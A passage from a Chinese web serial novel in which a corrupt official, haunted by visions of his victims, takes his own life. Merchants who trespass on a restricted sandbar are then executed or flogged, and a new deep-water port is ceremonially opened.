“活路?!这就是活路?!掏大粪?!住狗窝?!吃猪食?!哈哈哈……世子……世子殿下……好狠的心啊!好狠的心啊!!” 他猛地松开霖哥儿,身体剧烈地颤抖起来,浑浊的泪水混合着鼻涕,糊了满脸。 他蜷缩回角落,双手死死抱住头,发出压抑不住的、如同受伤野兽般的呜咽: “完了……全完了……我的银子……我的宅子……我的女人……都没了……都没了……都怪那个林臻!都怪那个恶魔!他……他毁了我!毁了我的一切啊!!” “爹……”霖哥儿看着父亲这副模样,小脸上充满了恐惧和悲伤,但他强忍着泪水,没有哭出来。 他默默地捡起掉在地上的破碗,重新去打水。 这一个月,他经历了太多,也长大了太多。 他知道,哭没有用。 他要活下去,像娘那样,靠自己的双手活下去。 就在这时,破旧的木门“吱呀”一声被推开。 一道身影出现在门口,挡住了门外微弱的光线。 是五姨娘。 她穿着一身洗得发白的蓝色工装,头发整齐地挽在脑后,脸上虽然带着疲惫,却有一种洗尽铅华后的坚毅和从容。 她手里提着一个粗布包裹,里面是几个还冒着热气的杂粮馒头和一小块咸菜。 她看着蜷缩在角落、如同烂泥般的王有德,眼中没有怜悯,只有一种冰冷的、如同看垃圾般的厌恶。 她将包裹放在门口一张破桌子上,声音平淡无波: “这是小六让我送来的。她现在在纺织工坊做工,很好。霖哥儿,你娘让你好好照顾自己。” 她顿了顿,目光扫过王有德,“世子殿下给了我们活路。虽然苦,但干净。比跟着你强一万倍。” 说完,她转身就走,没有丝毫停留。 王有德猛地抬起头,浑浊的眼睛死死盯着五姨娘的背影,又看看桌上的馒头。 他突然像疯了一样扑过去,抓起一个馒头就往嘴里塞! 狼吞虎咽,噎得直翻白眼! 他一边吃,一边发出含糊不清的呜咽: “我的……都是我的……你们……你们这些贱人……忘恩负义……没有我……你们……你们能有今天?!啊?!都是我的!我的!!” 霖哥儿惊恐地看着父亲,眼泪终于忍不住掉了下来。 五姨娘走出那间散发着恶臭的土坯房,深深吸了一口外面冰冷的、却带着自由气息的空气。 她抬头望向远处港口方向,那里吊臂林立,蒸汽升腾;望向纺织工坊方向,那里机杼声声,充满生机。 她的眼中闪过一丝复杂的光芒,最终化为一片坚定。 “呵,王有德,你的报应才刚刚开始。”她低声自语,随即挺直背脊,迈着坚定的步伐,走向属于她的新生。 ?? 第670章 死亡也是一种救赎 几天后,黄昏。 夕阳如同一个巨大的、淌着血的蛋黄,缓缓沉入长江尽头。 将浑浊的江水和灰暗的天空染成一片凄艳的金红。 王有德不知何时,跌跌撞撞地走出了那片如同地狱般的贫民区。 他赤着脚,身上那件肮脏的吏服被撕扯得更加破烂,如同披着一块肮脏的裹尸布。 他眼神空洞,脸上带着一种诡异的、如同回光返照般的平静。 他漫无目的地走着,如同被无形的丝线牵引,最终来到了——那片曾经属于他、如今已化为一片巨大废墟的、王家宅院的旧址前。 昔日的雕梁画栋、亭台楼阁、假山流水……早已荡然无存! 只剩下断壁残垣、碎砖烂瓦、烧焦的梁木和丛生的杂草! 在夕阳的余晖下,这片废墟显得格外凄凉、破败,如同一个被彻底遗忘的巨大坟场! 王有德呆呆地站在废墟前,看着眼前这触目惊心的景象。 一阵寒风吹过,卷起地上的尘土和枯叶,发出呜咽般的声响。 突然,他浑浊的眼睛猛地瞪大! 身体剧烈地颤抖起来! 他仿佛看到了什么极其恐怖的东西! 他看到了!在那片废墟之上!在那残存的、刻着“王宅”二字的半截门楣旁! 在那烧焦的、曾经是他最宠爱七姨娘居住的暖阁地基上! 在那曾经摆着罗汉床、铺着波斯绒毯的位置……他看到了! 他看到了李寡妇和她那年仅八岁的儿子! 他们浑身焦黑,皮肉翻卷,如同两截烧焦的木炭! 正用空洞的眼眶死死盯着他!发出无声的控诉! 他看到了郑秀才! 他躺在破床上,胸口插着一把匕首(他诬陷其偷税,派人暗杀),鲜血染红了身下的《论语》!正用怨毒的眼神瞪着他! 他看到了被他打断腿、割了舌头的茶农张阿大! 他满嘴是血,在地上痛苦地爬行,身后拖出一道长长的血痕! 他看到了被他强抢入府、不堪凌辱投井而死的丫鬟! 她浑身湿透,脸色青白,脖子上缠着水草,正从井口里缓缓爬出! 他看到了被他当成礼物送给盐商、被折磨致死的侍妾!她衣衫褴褛,遍体鳞伤,正向他伸出枯瘦的手! 他看到了所有被他害死、被他折磨、被他毁掉的人!他们如同从地狱中爬出的恶鬼!密密麻麻!将他团团围住!伸出腐烂的手!要将他拖入无间地狱!! “啊——!!!!” 王有德发出一声凄厉到不似人声的、如同濒死野兽般的惨嚎! 他双手死死抱住头,疯狂地撕扯着自己的头发! 身体如同筛糠般剧烈颤抖! 巨大的恐惧和深入骨髓的罪恶感如同冰冷的毒蛇,瞬间将他彻底吞噬! “不是我!不是我!!”他语无伦次地嘶吼着,涕泪横流,“是……是你们逼我的!是……是你们该死!!” “饶了我!饶了我吧!!”他扑通一声跪倒在地,对着虚空疯狂磕头! 额头重重撞击在冰冷坚硬的碎石上,瞬间皮开肉绽,鲜血直流!但他浑然不觉! “世子……世子殿下!饶命啊!饶命啊!!”他仿佛看到了林臻那双冰冷无情的眼睛,在虚空中俯视着他!如同神祇审判蝼蚁! 巨大的精神冲击彻底摧毁了他最后一丝理智! 他猛地抬起头,脸上沾满了鲜血、泪水和泥土,混合成一副狰狞可怖的鬼脸!他眼中爆发出一种疯狂而绝望的光芒! 他踉跄着爬起身,如同疯魔般在废墟中翻找着! 他推开碎石,扒开瓦砾! 终于,他在一堆烧焦的木炭下,找到了一块巴掌大小、边缘锋利、沾满黑灰的——青花瓷碎片! 那是他当年花了五百两银子从景德镇定制的、摆放在正厅博古架上的“福寿双全”大瓷盘的残骸! 王有德死死攥着那块锋利的瓷片,冰冷的触感和锋利的边缘让他浑身一颤! 他低头看着瓷片,又抬头望向那片埋葬了他所有罪恶和荣华的废墟,望向夕阳下那座正在拔地而起、充满生机的新城轮廓…… 他的眼中,突然闪过一丝极其复杂的、难以言喻的光芒——有恐惧、有悔恨、有绝望、有解脱……最终,化为一片死寂的平静。 他用尽全身力气,用那锋利的瓷片边缘,在自己那件肮脏的吏服内衬上,歪歪扭扭地、用鲜血划下了几个字: “罪……在……我……” 血字未干,他便猛地举起瓷片,用尽最后一丝力气,狠狠划向了自己的脖颈! “噗嗤——!” 一声微不可闻的轻响! 温热的鲜血如同喷泉般激射而出! 在夕阳的金辉下,划出一道凄艳而短暂的红弧! 王有德的身体猛地一僵! 随即如同被抽掉了所有骨头,软软地瘫倒在地! 他大睁着空洞的眼睛,望着那片被夕阳染成血色的天空,瞳孔中最后倒映出的,是废墟上盘旋的几只乌鸦的剪影…… 鲜血汩汩流出,浸透了他身下的泥土,也浸透了那件写着血字的肮脏吏服。 寒风吹过废墟,卷起尘土和枯叶,发出呜咽般的声响,仿佛在为这个罪恶而可悲的灵魂,奏响最后的挽歌。 远处,沪县新城的方向,港口吊臂的轮廓在暮色中剪影分明,纺织工坊的灯火次第亮起,力工们收工的号子声隐隐传来…… ...... 王有德那间散发着恶臭的土坯房,此刻被一种死寂的冰冷笼罩。 清晨的阳光透过破败的窗棂,吝啬地洒下几缕光斑,照亮了地上那滩已经凝固发黑的、触目惊心的血迹,和蜷缩在血泊中、早已僵硬冰冷的尸体。 霖哥儿小小的身影,如同被冻僵的石像,呆呆地站在王有德尸体前面。 他不知道是谁把父亲的尸体带回来的,却知道这具身体已经冰凉僵硬。 他手里还端着那碗浑浊的凉水,小脸煞白,嘴唇哆嗦着,大眼睛里充满了极致的恐惧和茫然。 他昨晚在港口工地的草棚里凑合了一宿,天没亮就跑回来想给父亲送点吃的,却看到了这地狱般的景象。 巨大的冲击让他失去了所有反应,只是呆呆地看着,眼泪无声地汹涌而出,却发不出一点声音。 邻居们被惊动,围拢过来。 看到屋内的惨状,有人发出惊恐的尖叫,有人捂着嘴干呕,有人则露出复杂的神色——有厌恶,有怜悯,但更多的是麻木和一种“终于解脱了”的释然。 王有德的名字,在这片贫民区,早已是恶贯满盈的代名词。 他的死,对大多数人来说,不过是少了一个祸害。 “造孽啊……” “死了也好……省得祸害人……” “这孩子……可怜啊……” ?? 第671章 滚开,晦气 议论声低低地响起。 很快,两名穿着皂衣、腰间挂着铁尺的“特区巡防队”队员(由金吾卫退役老兵和本地招募的壮丁组成)闻讯赶来。 他们皱着眉头,捂着鼻子走进屋内。 简单地勘察了一下现场,翻了翻王有德那件写着血字“罪……在……我……”的肮脏吏服,又询问了吓傻的霖哥儿几句。 “行了!没什么好看的!”领头的巡防队员挥挥手,声音带着公事公办的冷漠,“自杀!自己抹了脖子!死透了!” 他厌恶地踢了踢地上的瓷片:“找个草席裹了!拖到城西乱葬岗埋了!动作快点!别臭在这里!” “是!”另一名队员应道,动作麻利地找来一张破草席,像处理垃圾一样,将王有德的尸体卷了进去,用草绳胡乱捆了几道。 两人抬起草席,如同抬着一捆柴火,面无表情地走出了土坯房。 霖哥儿终于回过神来,发出一声撕心裂肺的哭喊:“爹——!!” 他猛地扑过去,想要抓住那卷走的草席。 “滚开!小崽子!”巡防队员不耐烦地一脚将他踹开,“晦气!” 霖哥儿被踹倒在地,沾了一身泥污。 他趴在地上,看着父亲被草草卷走的尸体消失在巷口,小小的身体因为巨大的悲痛和恐惧而剧烈颤抖着,哭声凄厉绝望,如同受伤的幼兽。 五姨娘闻讯赶来,正好看到这一幕。 她站在巷口,看着霖哥儿趴在地上痛哭,看着巡防队员远去的背影,又看了看那间散发着恶臭的空屋。 她脸上没有任何表情,眼神复杂难辨。 有对王有德结局的快意,有对霖哥儿遭遇的一丝怜悯,但更多的,是一种尘埃落定后的冰冷。 她走到霖哥儿身边,没有去扶他,只是冷冷地说了一句: “哭什么?他死了,对你,对你娘,都是解脱。” “从今往后,你不再是罪官之子。你只是霖哥儿,沪县的一个普通孩子。” “想活下去就站起来,擦干眼泪,去干活。” 说完,她不再看霖哥儿一眼,转身,挺直背脊,迈着坚定的步伐,走向纺织工坊的方向。 那里,有她的新生,她的尊严,她的未来。 王有德的一切,连同他的罪恶和可悲,都已被她彻底埋葬。 霖哥儿趴在地上,哭了很久很久,直到嗓子嘶哑,眼泪流干。 五姨娘冰冷的话语,如同刀子般刻在他心上。 他慢慢抬起头,脏兮兮的小脸上,泪水混合着泥土,糊成一团。 但那双大眼睛里,除了悲伤和恐惧,似乎……多了一丝茫然之外的、微弱的光芒。 他挣扎着爬起来,摇摇晃晃地走到门口那滩已经发黑的血迹旁。 他蹲下身,伸出颤抖的小手,捡起地上那块沾满了父亲鲜血和泥土的青花瓷片。 瓷片冰冷而锋利,边缘还带着暗红的血痂。 他紧紧攥着那块瓷片,指节因为用力而发白。 他最后看了一眼那间空荡、破败、散发着死亡气息的土坯房,又望向远处港口方向——那里吊臂林立,蒸汽升腾,充满了力量和希望。 他猛地转身,用尽全身力气,将那块染血的瓷片狠狠扔进了屋后的臭水沟里! “噗通!”一声轻响,瓷片沉入污浊的水底,消失不见。 霖哥儿用袖子狠狠擦掉脸上的泪水和泥污,挺直了瘦小的背脊。 他不再哭泣,眼神中带着一种与年龄不符的决绝和一丝新生的萌芽。 他迈开脚步,不再回头,朝着港口工地的方向,一步一步,坚定地走去。 他要活下去,像娘那样,靠自己的双手,干干净净地活下去。沪县县衙后堂,气氛肃穆而充满活力。 巨大的紫檀木会议长桌旁,围坐着沪县特区建设的核心班底。 林臻端坐主位,依旧是那身素雅的月白常服,气度沉凝如山,手中把玩着那块温润的羊脂白玉佩,目光平静地扫过众人。 楚惜灵站在巨大的“沪县经济特区总体规划沙盘”前。 沙盘制作精良,山川河流、港口码头、道路桥梁、规划中的工业区、商业区、住宅区、甚至预留的学堂、医馆、公园绿地……都清晰可见! 她用一根细长的银质指示棒,指点着沙盘,声音清冷而清晰: “崇明深水港一期工程,两个万吨泊位基座浇筑完成,半月后可进行上部钢结构吊装。配套的仓储区,甲、乙、丙,地基已夯实,首批五座钢结构仓库材料已运抵,明日即可开始组装。” “连接港口与县城的主干道沪港大道,路基拓宽及碎石铺设已完成百分之八十,预计十日内全线贯通。沿线预设的输水管道、排水沟渠同步推进。” “新城核心区首批安居工程住宅楼,共二十栋,五层砖混结构,地基开挖已完成,首批红砖、水泥、钢筋已到位,今日正式奠基开工!设计图纸已下发,采用标准化模块,可大幅缩短工期,预计五个月内首批住户可迁入。” “规划中的沪东工业园一期用地,拆迁及土地平整已完成。武清机械厂分厂、齐鲁水泥厂分厂、江南纺织机械厂等首批五家核心配套企业,已签署入驻协议,厂区规划图已提交审核……” 她的汇报条理清晰,数据精确,如同在演奏一曲宏大的建设交响乐。 张俪紧接着汇报,声音沉稳有力:“特区建设基金库,首期拍卖款项及保证金已全部入库,完成清点核算。首批支出预算已审核完毕,重点保障港口、道路、安居工程及核心工厂建设。与南楚、高丽、倭国的首批大宗贸易合同,像粮食、木材、矿石已签署,部分预付款已到账。特区钱庄筹建方案已拟定,待夫君批复。首批以工代赈粮饷及星级奖励物资已发放到位,民心稳定,用工充足。” 毛梦极言简意赅:“港口、主干道、核心工地,治安管控无虞。新增特区巡防队三百人,已完成基础训练,投入街面巡逻。抓获企图潜入息壤区域窥探者七人,其实高丽商人三名,倭国浪人四名,已按律斩首示众。宵禁制度严格执行,城内秩序井然。” 他声音冰冷,带着铁血煞气。 萧寒舟负责民政与文教:“首批安居工程住户登记筛选已完成,优先安置参与建设的力工、女工及原沪县无房贫民。蒙学堂选址确定,教材简化版《三字经》、《百家姓》、《算术基础》正在编撰。医馆选址完成,已向太医院申请调派医师及采购药材。劳务市场运转良好,用工信息透明,纠纷调解机制初步建立。” 林臻静静听着,脸上没有任何波澜。直到众人汇报完毕,他才缓缓开口,声音平静却带着掌控一切的力量: “很好。” “港口乃命脉,不可有失。惜灵,告诉那边的人,基座养护务必严格,钢结构吊装方案需万无一失。同时要保证道路畅通。” “安居工程乃民心所系。一定要把控好质量,不可因为赶进度就忽视安全问题。” 他顿了顿,目光投向沙盘上那片象征着未来的广阔区域: “幸好拍卖会干的比较成功,否则这么大的工程还真扛不住。俪儿,钱庄的筹建刻不容缓。要盘活资金,撬动更大杠杆。对外贸易,需拓展渠道,尤其是南洋航线,要尽快打通。” “至于那些商贾……”林臻嘴角勾起一抹冰冷的弧度,“让他们先圈着地,做着梦。等港口建成,道路畅通,工业兴起,人口汇聚了,他们的神土自然会水涨船高。现在,让他们安心等着便是。” 众人齐声应诺,眼中充满了对未来的坚定信念。 会议结束,众人散去。 林臻独自走到窗前,望着窗外那片正在如火如荼建设中的新城。 远处港口吊臂的剪影在夕阳下格外分明,近处工地上夯土的号子声隐隐传来。 他的目光深邃悠远,仿佛穿透了时空,看到了这座新城未来的繁华盛景。 第672章 偷摸上岛? 望江楼顶层,临江的揽月轩内,灯火通明,觥筹交错。 巨大的紫檀圆桌上,摆满了珍馐美馔,玉液琼浆。 丝竹管弦之声悠扬悦耳,舞姬身姿曼妙,水袖翩跹。然而,这表面的歌舞升平之下,却弥漫着一股难以言喻的压抑与焦躁。 这是沪县特区招商总署(张俪主持)为拍得“息壤”神土的商贾们举办的“联谊晚宴”。 林臻并未亲临,但王府的威仪无处不在。 萧寒舟作为世子代表,端坐主位,一身靛青儒衫,举止从容,面带温和笑意,眼神却深邃如渊,平静地扫视着席间众人。 席间坐着的,正是那十几位在拍卖会上挥金如土、拍下崇明沙洲地块的巨贾。 扬州盐枭赵四海、苏杭丝绸行会孙茂才、金陵钱庄周大福、江南李慕白……个个衣着光鲜,气度不凡,但眉宇间却难掩一丝焦虑和疑虑。 酒过三巡,气氛依旧有些凝滞。 丝竹声稍歇,赵四海终于按捺不住,借着几分酒意,站起身,对着萧寒舟拱手,声音洪亮却带着一丝不易察觉的急切: “萧大人!世子殿下日理万机,未能亲临,我等深感遗憾!然……我等拍下这‘息壤’神土已近月余!每日看着那银子如流水般花出去(指缴纳的保证金和后续维护费用),却连块地的影子都摸不着!金吾卫的刀枪架着,连靠近看一眼都不行!这心里实在没底啊!” 他环视四周,立刻引来一片附和: “是啊!萧大人!这神土到底何时才能让我们登岛勘测?何时才能动工?” “我等投入巨资,绝非儿戏!总得让我们心里有个数吧?” “那舆图上画的扩张方向……可……可作得准?万一……” “是啊!世子殿下金口玉言,说神土会生长,可这眼见为实……” 质疑声此起彼伏,焦躁的情绪如同瘟疫般在席间蔓延。 这些精明的商人,在最初的狂热退去后,面对冰冷的现实。 无法登岛、无法开发、资金沉淀。 巨大的不确定性和风险感开始吞噬他们的信心。 他们需要一个明确的答复,一个看得见的希望。 萧寒舟放下手中的玉箸,脸上温和的笑意不变,眼神却微微一凝,如同平静湖面下掠过的寒芒。 他缓缓开口,声音不高,却清晰地压过了所有嘈杂: “诸位老板的担忧,萧某理解,亦会如实禀报世子殿下。” 他顿了顿,目光扫过众人,带着一种不容置疑的安抚: “殿下曾言,息壤乃天地神物,关乎国运,非比寻常。其淤积扩张,自有天地规律,非人力可强求,亦非朝夕可见。文昌阁楚大家,乃当世地理水文之泰斗,其推演舆图,乃集天地之象、江海之势而成,断无虚妄!” 他语气转沉,带着一丝敲打的意味: “至于登岛勘测、动工开发。殿下亦有考量。一则,沙洲初定,根基未稳,贸然登临,恐扰天地灵气,反损神土之机。二则,深水港建设,乃特区命脉,金吾卫驻守,乃为保障万全,杜绝宵小窥伺,确保未来诸位基业无虞!” 他端起酒杯,对着众人: “殿下深知诸位投入之巨,期望之殷。特区建设,如火如荼。港口、道路、新城……皆在飞速推进。待根基稳固,航道畅通,安全无虑之时,便是诸位大展宏图之日!届时,诸位今日之投入,必将获得百倍、千倍之回报!殿下言出必行,望诸位稍安勿躁,静待佳音!” 这番话,软硬兼施。 既抬出“天地灵气”、“楚大家权威”和“世子金口”压住质疑,又用“根基未稳”、“安全无虑”解释封锁,最后再用“百倍回报”画饼安抚。 席间众人面面相觑,虽仍有疑虑,但在萧寒舟那平静却隐含威压的目光注视下,也只得暂时按下心头焦躁,强笑着举杯应和。 “萧大人所言极是!我等……我等静候殿下安排!” “是是是!有殿下掌舵,我等放心!” “来!敬殿下!敬萧大人!” 觥筹交错再起,丝竹复鸣,但气氛却比之前更加微妙。 每个人脸上都挂着笑,眼神却在无声地交流着不安与算计。 赵四海坐回座位,狠狠灌了一口酒,眼中闪过一丝阴鸷。 他瞥了一眼坐在角落、一直沉默不语的江南富商李慕白,对方也正看过来,眼神交汇,心照不宣。 ??...... 夜已深沉,望江楼的喧嚣渐渐散去。 沪县老城区一条僻静、污水横流的暗巷深处,一间挂着高丽参行幌子、实则门可罗雀的铺面后堂,却亮着昏黄的灯火。 铺面主人,正是那位曾在拍卖会前试图窥探沙洲、被金吾卫弩箭指着脑门的高丽商人——朴昌范。 此刻,他正毕恭毕敬地给两位不速之客斟茶。 来者赫然是赵四海和那位江南富商李慕白! 两人都换了便服,脸上带着酒意,却掩不住眼底的焦躁和一丝狠厉。 “朴老板,你说你有门路……能上岛?”赵四海压低声音,开门见山,语气带着孤注一掷的急切。 朴昌范小眼睛闪烁着精光,操着生硬的官话,低声道:“赵老板,李大人,稍安勿躁。小人确实有些门路。我高丽国有几位海客,常年在这片海域做些……嗯……特殊的营生。对这片水道、沙洲,熟得很!金吾卫的船队虽严,但总有巡逻的空隙。” 他凑近一步,声音压得更低:“只要价钱合适,他们可以用小船,趁着夜色送人上去!只需一个时辰!足够两位老板亲眼看看那神土,到底是金疙瘩还是烂泥滩!” 李慕白眉头紧锁,他是宗室背景,比赵四海更谨慎:“风险太大!一旦被金吾卫发现……” “富贵险中求啊!李大人!”赵四海眼中闪烁着贪婪和疯狂,“几百万两银子砸下去,连个响都听不见!萧寒舟那小子满嘴官话,画饼充饥!谁知道是不是个骗局?!那息壤要是假的,或者根本没他说的那么神……我们可就血本无归了!必须亲眼看看!” 他看向朴昌范:“价钱好说!只要事情办成,看得真切,再加一倍!” 朴昌范眼中贪婪更盛:“赵老板爽快!不过小人还有个条件。” “说!” “事成之后若那神土真如舆图所示,小人也想分一杯羹!哪怕最小的那块!”朴昌范舔了舔嘴唇,眼中满是渴望。 他虽是高丽商人,但对息壤的贪婪,丝毫不亚于这些大乾巨贾。 李慕白还在犹豫,赵四海却一拍桌子:“好!一言为定!事不宜迟,明晚!明晚就动手!” “赵老板痛快!”朴昌范大喜,“小人这就去安排!明晚子时,东滩芦苇荡!自有人接应!” 三人密谋完毕,朴昌范小心翼翼地将两位贵客从后门送走。 他回到后堂,看着桌上摇曳的烛火,脸上露出得意的狞笑。 他仿佛看到了金山银山在向他招手! 至于风险?在金吾卫眼皮底下偷渡?他不在乎! 只要能攀上这些大乾豪商,拿到息壤的入场券,冒点险算什么? 然而,朴昌范没有注意到,在他铺面斜对面,一处废弃阁楼的阴影里,一双清澈却带着警惕的眼睛,正死死地盯着他铺面的后门。 正是霖哥儿! 他白天在港口帮工,晚上就睡在附近废弃的窝棚里。 他认得赵四海! 就是这个胖子,在拍卖会上趾高气扬,还差点害他爹丢了差事。 他看到赵四海和李慕白鬼鬼祟祟进了高丽参行,又鬼鬼祟祟出来,直觉告诉他,这绝不是什么好事! 第673章 有功,当赏 翌日,子时。月黑风高,海风呼啸。 崇明沙洲东侧,远离主港口的荒凉滩涂地带。 茂密的芦苇在狂风中剧烈摇摆,发出“沙沙”的声响,如同无数鬼魅在窃窃私语。 浑浊的海水拍打着泥泞的滩涂,发出单调而压抑的“哗啦”声。 一艘低矮狭长、没有任何灯火、船身涂着黑漆的高丽式小渔船,如同幽灵般,悄无声息地滑入芦苇荡深处。 船上,除了两名皮肤黝黑、眼神凶狠的高丽水手,便是赵四海和李慕白! 两人都穿着深色紧身水靠,脸上涂着污泥,紧张得手心冒汗,心脏狂跳。 “快!动作快!”朴昌范的声音从岸边芦苇丛中传来,压得很低。 渔船靠岸,赵四海和李慕白在两名水手的搀扶下,深一脚浅一脚地踏上冰冷湿滑的滩涂。一股浓烈的海腥味和腐烂水草的恶臭扑面而来。 “朴老板!带路!”赵四海声音发颤,既紧张又兴奋。 “这边!”朴昌范猫着腰,在前面引路。 他显然对这里的地形很熟悉,带着两人在及膝深的淤泥和茂密的芦苇丛中艰难穿行。 寒风刺骨,泥水冰冷,每走一步都异常艰难。赵四海和李慕白气喘吁吁,狼狈不堪,但想到即将看到的神土,又强忍着。 黑暗中,一双眼睛如同夜枭般,在远处的芦苇丛中紧紧盯着他们。 正是尾随而来的霖哥儿! 他身材瘦小,动作灵活,如同狸猫般在芦苇丛中穿梭,竟未被发现。 他死死咬着嘴唇,小脸上满是紧张和愤怒。 他知道这些人是在做坏事! 是在偷偷摸摸上岛! 他想起了金吾卫的警告:“擅闯者,格杀勿论!” 他想起了世子殿下,想起了娘在工坊里安稳的生活,一股莫名的勇气涌上心头! ...... 朴昌范带着赵、李二人,好不容易穿过泥泞的滩涂,来到一片相对干燥的沙地边缘。 他指着前方一片在月光下泛着灰白色的区域,压低声音,带着一丝狂热: “赵老板!李大人!看!那就是息壤!舆图上标注的东滩涂区!您的八十亩地!就在那儿!” 赵四海和李慕白借着微弱的月光,急切地望去。只见眼前是一片光秃秃、布满碎石和贝壳的荒凉滩涂! 别说“神土”,连根草都没有! 和他们想象中的“聚宝盆”天差地别! “这……这就是息壤?!”赵四海如遭雷击,声音都变了调,“这……这他妈就是一片烂泥滩啊!!” 李慕白也脸色煞白:“朴昌范!你敢耍我们?!” “不!不可能!”朴昌范也懵了,他扑到沙地上,用手疯狂地扒拉着,“舆图上明明……明明标注这里是……是肥沃的淤积土啊!怎么会……” 就在这时! “咻——!!” 一支响箭带着凄厉的尖啸,撕裂夜空! 瞬间,无数火把如同从地底冒出般,在周围的芦苇丛中同时亮起! 将这片小小的滩涂照耀得如同白昼! “金吾卫在此!擅闯禁区者!束手就擒!!”毛梦极那如同金铁摩擦般的嘶哑嗓音,如同死神的宣告,在夜空中炸响! 数十名黑甲金吾卫士兵如同鬼魅般从芦苇丛中现身! 手持劲弩,冰冷的箭簇在火光下闪烁着致命的寒芒! 瞬间将三人团团围住!杀气凛冽! 赵四海和李慕白吓得魂飞魄散,腿一软,“噗通”一声瘫坐在冰冷的泥地上! 朴昌范更是面无人色,浑身抖如筛糠! “完了……全完了……”赵四海面如死灰,喃喃自语。 毛梦极按刀而立,枯瘦的脸上那道刀疤在火光下如同蠕动的蜈蚣,眼神冰冷如刀。 他目光扫过瘫软的三人,如同看三只待宰的鸡鸭。 最后,他的目光落在远处芦苇丛中一个试图悄悄溜走的小小身影上。 “出来!”毛梦极的声音如同寒冰。 霖哥儿浑身一僵,颤抖着从芦苇丛中走了出来,小脸煞白。 “是你报的信?”毛梦极的声音听不出喜怒。 霖哥儿用力点点头,鼓起勇气,指着朴昌范三人:“他……他们偷偷上岛!我……我看见他们密谋!就……就跑去告诉了巡防队的张大哥……” 毛梦极深深看了霖哥儿一眼,那眼神让霖哥儿浑身发冷。 片刻后,他挥了挥手:“带他回去。有功,当赏。” 一名士兵上前,将还在发抖的霖哥儿带离现场。 毛梦极的目光重新回到面如死灰的三人身上,嘴角勾起一抹残酷的弧度: “拿下!押入死牢!听候世子殿下发落!” “是!”士兵们如狼似虎般扑上! ??...... 翌日清晨,沪县县城四门及主要街口,张贴出了盖着鲜红“沪县经济特区总督府”大印的告示! 告示内容言简意赅,却字字如刀: “查,高丽商人朴昌范,勾结不法商贾赵四海、李慕白,罔顾禁令,擅闯特区军事管制区(崇明沙洲),窥探机密,图谋不轨!证据确凿,罪无可赦!” “为严正法纪,儆效尤,特此判决:” “朴昌范,煽动主谋,斩立决!首级悬于东门示众三日!” “赵四海、李慕白,从犯,死罪可免,活罪难饶!剥夺其名下所有息壤地块特许开发经营权!所缴款项,一概罚没充公!另,各杖一百,枷号一月,发往特区苦役营,终身服役!以儆效尤!” “世子殿下钧令:特区法纪,不容亵渎!凡有胆敢窥伺、擅闯、破坏特区建设者,无论身份国籍,严惩不贷!杀无赦!” 告示一出,全城哗然! 朴昌范血淋淋的首级被高高悬挂在东门城楼之上,双目圆睁,死不瞑目! 引来无数百姓围观,议论纷纷,有唾骂,有恐惧,更有对世子殿下铁腕手段的敬畏! 赵四海和李慕白被扒光上衣,戴着沉重的木枷,在衙役的押解下,于县城最繁华的十字街口,当众受杖! 沉重的杀威棒落下,皮开肉绽,惨叫连连! 昔日风光无限的巨贾,如今如同两条死狗,在众目睽睽之下受尽屈辱! 最后被如同拖死狗般拖走,投入暗无天日的苦役营,等待他们的将是永无止境的劳役折磨! 消息如同长了翅膀,瞬间传遍沪县! 那些原本蠢蠢欲动、心怀不满的商贾们,如同被兜头浇了一盆冰水! 所有的焦躁、疑虑、小心思,瞬间被无边的恐惧取代! 朴昌范血淋淋的脑袋,赵、李二人凄惨的下场,如同两记响亮的耳光,狠狠抽在他们脸上! 让他们彻底明白,世子殿下的“稍安勿躁”绝非虚言,那“杀无赦”的警告,更是字字带血! 一时间,所有持有“息壤”地块的商贾噤若寒蝉,再无人敢提登岛勘测之事。 第674章 开港 长江入海口,天高云阔,海风猎猎。 昔日荒凉的崇明沙洲西北角,此刻已彻底改天换地! 一座气势恢宏、充满工业力量的深水港,如同蛰伏的钢铁巨龙,傲然矗立在蔚蓝的海天之间! 长达千丈的深水栈桥,如同巨龙的脊梁,由数百根合抱粗的南洋铁力木桩深深锚入海床,表面铺设着厚实的、涂满防腐桐油的硬木铺板,坚固异常。 栈桥两侧,是如同展开龙翼般的宽阔装卸平台。 平台边缘,数十架高达数丈、由精铁铸就骨架、硬木拼接构件的巨型“天车”吊臂,如同巨龙的利爪,巍然耸立! 粗大的铁链垂落,末端悬挂着巨大的铁钩和钢索网兜,在阳光下闪烁着冷冽的寒芒。 港口核心,两座巨大的万吨级深水泊位已初具雏形! 泊位主体由钢筋混凝土浇筑而成,表面铺设着厚重的花岗岩条石,坚固无比,足以抵御惊涛骇浪。泊位后方,是如同山峦般连绵起伏的钢结构仓库群! 巨大的拱形屋顶覆盖着波浪形的镀锌铁皮,在阳光下反射着刺目的光芒。 甲、乙、丙三大仓储区,如同巨兽的胃囊,静静等待着吞吐来自四海八荒的货物。 此刻,港口内外,人声鼎沸,旌旗招展! 无数面绣着“沪县深水港”、“王府”蟠龙旗的彩旗,在强劲的海风中猎猎作响! 港口入口处,一座临时搭建的高台上,铺着猩红的波斯地毯。 林臻身着玄色蟠龙常服,身姿挺拔如松,负手立于高台中央。 楚惜灵、张俪、毛梦极、萧寒舟等核心班底分列两侧。 台下,是黑压压一片、神情激动的人群——参与建设的力工、金吾卫士兵、特区官员、以及那些被邀请来观礼的、神色复杂的商贾们。 “吉时已到——!!”萧寒舟清朗的声音通过铜皮喇叭,响彻港口! “呜——呜——呜——!!” 三声低沉雄浑、震耳欲聋的汽笛长鸣,如同巨龙的咆哮,宣告着一个新时代的开启! 停泊在港外深水区的“破浪号”、“扬帆号”以及数艘悬挂着高丽、倭国旗帜的商船,同时拉响了汽笛,以示庆贺! “开港——!!”林臻的声音不高,却带着一种穿透人心的力量,清晰地传入每个人耳中! “轰——!!” 港口瞬间爆发出震天动地的欢呼声! 力工们挥舞着手中的工具,金吾卫士兵们挺直了胸膛,商贾们则神色复杂地鼓掌,眼中充满了震撼和一丝难以言喻的悸动。 “起吊——!!”楚惜灵清冷的声音通过扩音筒下达指令! 早已准备就绪的“天车”吊臂在绞盘和齿轮的轰鸣声中缓缓启动! 巨大的铁钩精准地抓住“破浪号”船舱中一个特制的、包裹着红绸的巨大木箱! 在无数道目光的注视下,木箱被稳稳吊起,越过船舷,缓缓移向一号泊位! “落——!!” “咚——!!!” 一声沉闷的巨响! 木箱稳稳落在泊位坚实的条石地面上! 红绸揭开! 露出里面一块巨大的、用整块汉白玉雕琢而成的石碑!碑上刻着遒劲有力的八个大字: “沪县深水港·甲子肇基”! 落款:?摄政王世子林臻监制?! “礼成——!!” “万岁!世子殿下万岁!!” “沪县万岁!!” 欢呼声如同海啸般再次席卷港口! 